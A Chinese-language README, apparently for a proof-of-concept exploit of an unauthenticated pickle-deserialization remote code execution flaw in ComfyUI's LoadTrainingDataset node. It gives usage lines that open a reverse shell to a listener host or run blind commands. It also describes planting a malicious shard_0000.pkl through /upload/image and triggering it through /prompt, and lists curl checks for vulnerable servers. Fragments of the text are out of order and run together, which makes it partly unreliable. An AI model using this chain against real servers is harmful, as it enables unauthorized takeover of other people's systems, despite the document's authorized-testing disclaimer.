
针对 CVE-2026-68771 的未认证利用,该漏洞是 ComfyUI 中的 pickle 反序列化远程代码执行(RCE)漏洞。通过 /upload/image 植入精心构造的 shard,再经 /prompt 触发,可执行命令或开启反弹 Shell。
通过 LoadTrainingDataset 节点在 ComfyUI 中实现未认证远程代码执行。
LoadTrainingDataset.execute() 会使用 torch.load(f) 从服务器的输出目录加载数据集分片,且未设置 weights_only=True。在 PyTorch < 2.6(此时 weights_only 默认为 False)上,精心构造的 shard_*.pkl 会在加载时执行其 pickle __reduce__(CWE-502)。ComfyUI 默认不带认证,且 /upload/image 路由(带 type=output)会将上传的原始字节原样写入,不做扩展名检查,因此可以植入 .pkl 文件,随后通过两个未认证请求触发。
< 2.6 上的 ComfyUI 0.23.08188(未认证)仅需 Python 3 标准库——无任何依赖。
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444
# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'
命令在服务器上执行;其输出不会被返回,因此如需观察结果,请使用 --shell 获取反向 shell(或将结果写入可读路径)。
只需两个未认证请求:
植入 — 使用 type=output、subfolder=training_dataset、文件名 shard_0000.pkl 发起 POST /upload/image 请求。/upload/image 路由会原样写入原始字节(该路径不进行图像处理),因此 pickle 会被完整写入 output/training_dataset/shard_0000.pkl。该 pickle 的 __reduce__ 返回 (os.system, (cmd,))。
触发 — 使用工作流发起 POST /prompt:将一个 LoadTrainingDataset 节点(folder_name=training_dataset)连接到 SaveLatent 输出节点。输出节点会强制 ComfyUI 执行 LoadTrainingDataset,该节点会匹配 文件并调用:
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200 -> vulnerable node present
torch.load(f, weights_only=True) 加载分片。weights_only 默认为 True,受限的反序列化器会拒绝 os.system。仅用于授权安全测试和教育目的。请仅对您拥有或已获得明确测试许可的系统使用。
shard_*.pklwith open(shard_path, "rb") as f:
shard_data = torch.load(f) # no weights_only=True -> runs the pickle on torch < 2.6
pickle 的 __reduce__ 会在反序列化过程中执行 os.system(cmd)。